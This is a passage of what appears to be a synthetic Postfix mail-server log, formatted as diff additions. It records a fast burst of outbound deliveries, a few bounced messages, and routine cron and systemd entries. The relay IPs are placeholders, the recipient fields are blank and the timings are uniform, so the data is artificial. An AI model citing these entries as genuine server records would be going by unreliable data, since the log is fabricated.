relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:26 mail-server postfix/smtp[2118]: 408900F51E: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:26 mail-server postfix/smtp[2118]: 37476FC094: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:26 mail-server postfix/smtp[2118]: E6AF19BDBC: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:26 mail-server postfix/smtp[2118]: E2C5CA60F4: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:27 mail-server postfix/smtp[2118]: 956C3567D1: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:28 mail-server postfix/smtp[2118]: F180DD3092: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:28 mail-server postfix/smtp[2118]: AB98D25F62: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:30 systemd[1]: Starting daily clean up activities... +Jul 02 11:02:30 CRON[3509]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:02:31 mail-server postfix/smtp[2118]: FEF86CE211: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:31 mail-server postfix/smtp[2118]: 28096A5522: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:32 mail-server postfix/smtp[2118]: 05D47C8981: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:32 mail-server postfix/smtp[2118]: 329A823132: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:32 mail-server postfix/smtp[2118]: EFC56F049B: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:32 mail-server postfix/smtp[2118]: 7BF0A7FF6F: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:33 mail-server postfix/smtp[2118]: 6A536A466E: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:33 mail-server postfix/smtp[2118]: 9A680EF776: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:33 mail-server postfix/smtp[2118]: C1B6881575: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:33 mail-server postfix/smtp[2118]: 448ADA2CA8: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:35 mail-server postfix/smtp[2118]: 7D57FBE745: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:35 mail-server postfix/smtp[2118]: B7E2BE056E: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:35 mail-server postfix/smtp[2118]: 1FA5B4D65E: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:35 mail-server postfix/smtp[2118]: 52C8C686A9: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:38 mail-server postfix/smtp[2118]: CC057D6E07: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:40 mail-server postfix/smtp[2118]: C0A0295330: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:40 mail-server postfix/smtp[2118]: A6A76C0C1C: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:41 mail-server postfix/smtp[2118]: 462485D68B: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:41 mail-server postfix/smtp[2118]: 2BD9921E03: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:42 mail-server postfix/smtp[2118]: F3FE6B116D: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:42 mail-server postfix/smtp[2118]: BCE3B2D388: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:45 mail-server postfix/smtp[2118]: 6ADB9D6DA1: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:45 mail-server postfix/smtp[2118]: 4C2644E1A8: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:45 mail-server postfix/smtp[2118]: 48074E3C2A: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:46 mail-server postfix/smtp[2118]: F8C9BFA3DC: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:47 mail-server postfix/smtp[2118]: 16717256E4: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:47 mail-server postfix/smtp[2118]: 70F8BE2016: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:48 mail-server postfix/smtp[2118]: 71AE472903: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:48 mail-server postfix/smtp[2118]: DB30991DAB: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:50 mail-server postfix/smtp[2118]: 978046F451: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:51 mail-server postfix/smtp[2118]: 4E24B593CE: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:51 mail-server postfix/smtp[2118]: 848A997E8D: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:51 mail-server postfix/smtp[2118]: 60C9C15FA4: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:52 mail-server postfix/smtp[2118]: 61C8267875: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:52 mail-server postfix/smtp[2118]: 7F0CF20F7B: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:52 mail-server postfix/smtp[2118]: 8B7528CF94: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:52 mail-server postfix/smtp[2118]: 127D445E2F: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:53 mail-server postfix/smtp[2118]: 196F6FD1E6: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:55 mail-server postfix/smtp[2118]: 2F51F935D5: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:55 mail-server postfix/smtp[2118]: 3CE9C7F311: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:57 mail-server postfix/smtp[2118]: 693CC7C6F8: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:58 mail-server postfix/smtp[2118]: ECBBEB8389: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:58 mail-server postfix/smtp[2118]: 362211B6D7: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:00 mail-server postfix/smtp[2118]: D4F06B422B: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:00 mail-server postfix/smtp[2118]: FF38EE8ECF: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:00 mail-server postfix/smtp[2118]: 57FAA4D6BA: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:02 mail-server postfix/smtp[2118]: 596DD2C738: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:03 mail-server postfix/smtp[2118]: C873F5CECB: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:05 mail-server postfix/smtp[2118]: DDF7A2FA82: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:05 mail-server postfix/smtp[2118]: 8B00D7D039: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:05 mail-server postfix/smtp[2118]: 3568ADA017: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:05 mail-server postfix/smtp[2118]: 5745883517: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:06 mail-server postfix/smtp[2118]: 73536D5AFD: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:07 mail-server postfix/smtp[2118]: A6A4943529: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:07 mail-server postfix/smtp[2118]: 7EB08DB4D9: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:07 mail-server postfix/smtp[2118]: 8FA1C58542: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:07 mail-server postfix/smtp[2118]: 90C2034AFA: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:10 mail-server postfix/smtp[2118]: E606C2B96D: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:10 mail-server postfix/smtp[2118]: 35A8864F05: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:11 mail-server postfix/smtp[2118]: EBD20756C4: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:12 mail-server postfix/smtp[2118]: BBA5179C49: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:12 mail-server postfix/smtp[2118]: 808C4A2B11: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:12 mail-server postfix/smtp[2118]: D36DD53F5C: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:13 mail-server postfix/smtp[2118]: 31A2614A43: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:13 mail-server postfix/smtp[2118]: 32C7B8DB2F: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:13 mail-server postfix/smtp[2118]: E88215EE97: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:17 mail-server postfix/smtp[2118]: 76E5DB0DED: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:17 mail-server postfix/smtp[2118]: 603333BC52: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:17 mail-server postfix/smtp[2118]: E26F2AA98D: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:17 mail-server postfix/smtp[2118]: 7B169812AC: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:18 mail-server postfix/smtp[2118]: 6A94A6718E: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:20 mail-server postfix/smtp[2118]: E085DD90BF: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:21 mail-server postfix/smtp[2118]: 9D38A150A5: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:21 mail-server postfix/smtp[2118]: 137E7E090E: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:21 mail-server postfix/smtp[2118]: 15414C3636: to=, relay=mx.example.com[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (550-5.1.1 The email account that you tried to reach does not exist)) +Jul 02 11:03:21 mail-server postfix/qmgr[2011]: 15414C3636: removed +Jul 02 11:03:22 mail-server postfix/smtp[2118]: 1B9AE848E6: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:22 mail-server postfix/smtp[2118]: 95D70588C3: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:23 mail-server postfix/smtp[2118]: 3E9807BAA1: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:23 mail-server postfix/smtp[2118]: 5A8060A489: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:25 mail-server postfix/smtp[2118]: 67AC91AADA: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:25 mail-server postfix/smtp[2118]: 4A0D45480A: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:26 mail-server postfix/smtp[2118]: 14A56D069C: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:27 mail-server postfix/smtp[2118]: 839456C4B8: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:27 mail-server postfix/smtp[2118]: 656C9D08E2: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:27 mail-server postfix/smtp[2118]: 2CC1F51B85: to=, relay=mx.my-mail.co[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (554 Service unavailable)) +Jul 02 11:03:27 mail-server postfix/qmgr[2011]: 2CC1F51B85: removed +Jul 02 11:03:27 mail-server postfix/smtp[2118]: 85CAFE92FB: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:30 mail-server postfix/smtp[2118]: 6741662A9C: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:30 mail-server postfix/smtp[2118]: 16B1AACECB: to=, relay=mx.example.com[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (554 Service unavailable)) +Jul 02 11:03:30 mail-server postfix/qmgr[2011]: 16B1AACECB: removed +Jul 02 11:03:30 mail-server postfix/smtp[2118]: 16BE21859E: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:31 mail-server postfix/smtp[2118]: B82A0E787E: to=, relay=mx.my-mail.co[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (550 No such user)) +Jul 02 11:03:31 mail-server postfix/qmgr[2011]: B82A0E787E: removed +Jul 02 11:03:31 mail-server postfix/smtp[2118]: 08165BACE6: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:32 mail-server postfix/smtp[2118]: 7517D52AC7: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:33 mail-server postfix/smtp[2118]: 204DA97FCE: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:36 mail-server postfix/smtp[2118]: 9A43B394D9: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:36 mail-server postfix/smtp[2118]: 8D9CDF4F2F: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:37 mail-server postfix/smtp[2118]: F8276D215C: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:37 mail-server postfix/smtp[2118]: B97416AE0C: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:37 mail-server postfix/smtp[2118]: C680CB8A04: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:37 mail-server postfix/smtp[2118]: 42CCBE486C: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:38 mail-server postfix/smtp[2118]: 8F1B33CE69: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:38 mail-server postfix/smtp[2118]: 427BBB6AD8: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:40 mail-server postfix/smtp[2118]: 71F47D3842: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:40 mail-server postfix/smtp[2118]: AC46916B16: to=, relay=mx.user-inbox.org[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (554 Service unavailable)) +Jul 02 11:03:40 mail-server postfix/qmgr[2011]: AC46916B16: removed +Jul 02 11:03:41 mail-server postfix/smtp[2118]: 3126737970: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:41 mail-server postfix/smtp[2118]: 854839052A: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:41 mail-server postfix/smtp[2118]: BA93A495C8: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:43 mail-server postfix/smtp[2118]: 94FE7CE91E: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:45 systemd[1]: Starting daily clean up activities... +Jul 02 11:03:45 mail-server postfix/smtp[2118]: 006B19DFA9: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:45 mail-server postfix/smtp[2118]: D7AD2D64E3: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:47 mail-server postfix/smtp[2118]: 2C11897FD7: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:47 mail-server postfix/smtp[2118]: 975DA3882E: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:47 mail-server postfix/smtp[2118]: B8DFFF30D0: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:50 mail-server postfix/smtp[2118]: 73FEEC84C0: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:51 mail-server postfix/smtp[2118]: 244D18DBE3: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:51 mail-server postfix/smtp[2118]: 0C896A7197: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:51 mail-server postfix/smtp[2118]: D299E9EB66: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:51 mail-server postfix/smtp[2118]: 55BFFC2DAF: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:52 mail-server postfix/smtp[2118]: 381DB9ACDA: to=, relay=mx.user-inbox.org[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (550 No such user)) +Jul 02 11:03:52 mail-server postfix/qmgr[2011]: 381DB9ACDA: removed +Jul 02 11:03:53 mail-server postfix/smtp[2118]: 7529414585: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:53 mail-server postfix/smtp[2118]: 153822F87D: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:55 mail-server postfix/smtp[2118]: 0F57298C7D: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:56 mail-server postfix/smtp[2118]: 8995292A02: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:56 mail-server postfix/smtp[2118]: 49EAD98C7F: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, 